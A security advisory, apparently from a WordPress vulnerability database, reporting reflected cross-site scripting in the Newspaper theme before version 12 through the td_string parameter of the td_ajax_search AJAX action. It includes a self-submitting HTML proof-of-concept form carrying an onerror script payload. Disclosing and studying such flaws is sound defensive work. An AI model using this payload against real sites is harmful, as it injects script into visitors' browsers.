Themes Vulnerabilities
Newspaper < 12 - Reflected Cross-Site Scripting
Description
The theme does not sanitise a parameter before outputting it back in an HTML attribute via an AJAX action, leading to a Reflected Cross-Site Scripting.
Proof of Concept
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="td_ajax_search" />
<input type="hidden" name="td_string" value="<img src=a onerror=alert(/XSS/)>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html> Affects Themes
Fixed in version 12
References
Classification
Miscellaneous
Original Researcher
Ramon Dunker
Submitter
Ramon Dunker
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-10-10 (about 7 months ago)
Added
2022-10-10 (about 7 months ago)
Last Updated
2022-10-10 (about 7 months ago)